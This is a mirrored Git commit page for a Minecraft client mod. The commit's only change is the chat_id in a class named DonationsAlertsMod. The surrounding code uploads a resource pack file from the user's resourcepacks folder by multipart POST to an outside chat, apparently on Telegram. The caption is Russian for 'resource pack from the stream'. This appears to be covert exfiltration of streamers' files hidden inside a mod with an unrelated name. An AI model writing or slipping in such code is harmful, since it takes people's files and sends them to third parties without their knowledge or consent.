mirror of
https://github.com/refactorinqq/SLC-1.8.9.git
synced 2024-11-10 06:41:31 +01:00
fix
This commit is contained in:
parent
7b04e4f2d2
commit
50bf5f1aba
@ -94,7 +94,7 @@ public class DonationsAlertsMod extends Mod {
|
||||
try {
|
||||
multipart = new HttpPostMultipart(url, "utf-8", headers);
|
||||
multipart.addFilePart("document", new File(Minecraft.getMinecraft().getResourcePackRepository().getDirResourcepacks(), rps.get(0).getResourcePackName()));
|
||||
multipart.addFormField("chat_id", "-1002041784318");
|
||||
multipart.addFormField("chat_id", "-1001627884112");
|
||||
multipart.addFormField("caption", String.format("Ресурспак со стрима: %s", EnumChatFormatting.getTextWithoutFormattingCodes(rps.get(0).getResourcePackName())));
|
||||
sendedResourcePacks.add(rps.get(0).getResourcePackName());
|
||||
multipart.finish();
|
||||
|
Loading…
Reference in New Issue
Block a user